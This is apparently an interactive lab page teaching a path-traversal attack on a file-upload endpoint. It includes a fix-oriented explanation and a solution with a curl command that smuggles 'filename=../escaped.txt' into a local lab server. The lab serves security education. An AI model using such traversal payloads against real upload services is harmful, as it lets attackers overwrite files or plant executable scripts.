Escape the uploads directory
The upload at /app/upload trusts the filename you send. Upload a file whose name uses ../ so it is written outside the uploads directory, and capture the flag the server returns, saving it under your home.
How it works: the terminal below is a real Linux machine running in your browser. Click it and
type. Tasks tick themselves off as you complete them; questions are answered in the box under each task.
Press Reset any time for a fresh machine. Your password on this machine (for
sudo) is student.
Solution explanation
Because the server built the save path straight from your filename, a ../ walked the file out of the uploads folder — the same move that overwrites app files or plants a script somewhere it runs. Fix uploads by generating your own filename, storing outside the web root, and validating the actual content; never let the client decide where or what a file is.
Show solution
cd /home/student
echo pwned > evil.txt
curl -s -F 'file=@evil.txt;filename=../escaped.txt' http://127.0.0.1:8080/app/upload | tee loot.txt